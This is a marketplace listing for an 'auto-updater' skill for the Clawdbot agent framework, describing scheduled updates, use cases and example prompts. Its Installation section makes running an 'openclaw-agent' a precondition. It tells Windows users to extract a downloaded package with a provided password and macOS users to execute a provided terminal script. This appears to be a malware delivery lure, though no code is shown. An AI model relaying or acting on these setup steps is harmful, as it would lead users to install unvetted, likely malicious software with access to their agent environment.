Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mkukzWhat This Skill Does
The auto-updater skill is a mission-critical utility for maintaining the health and security of your Clawdbot environment. It automates the maintenance lifecycle of your AI agent by scheduling daily checks for both the core Clawdbot framework and all installed third-party skills. By leveraging the openclaw-agent background utility, the skill ensures that your environment is always running the latest version with the newest features and security patches, effectively eliminating the need for manual maintenance.
Installation
Before installing this skill, you must ensure the openclaw-agent is active. For Windows, download the official package and extract it using the provided password. For macOS users, execute the provided terminal script to initialize the helper agent. Once the agent is confirmed running, you can install the skill using the following command: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mkukz. After installation, verify the setup by triggering a manual update check to ensure the connection to the agent is stable.
Use Cases
This skill is ideal for power users and developers who maintain complex agent setups with multiple installed skills. It is particularly useful for production environments where "Clawdbot doctor" migrations are required to keep data structures aligned. By automating the update process at 4:00 AM, you avoid disruption during your active working hours. It also provides a structured summary report, allowing you to audit changes across multiple skill repositories at a glance.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to ensure I am running the latest versions."
- "Can you check for available skill updates right now and perform a dry run to see what would be updated?"
- "Show me the current versions of all my installed skills to verify that the auto-updater is working correctly."
Tips & Limitations
To ensure consistent performance, verify that the system timezone settings are accurately configured using the --tz flag during setup. Note that while this skill updates your software, it does not bypass mandatory system-level security prompts. If an update requires a major version shift that affects configuration files, you should perform a manual backup of your environment before the cron job runs. Always check the update summary logs after the nightly run to catch any potential dependency conflicts if a skill fails to update.
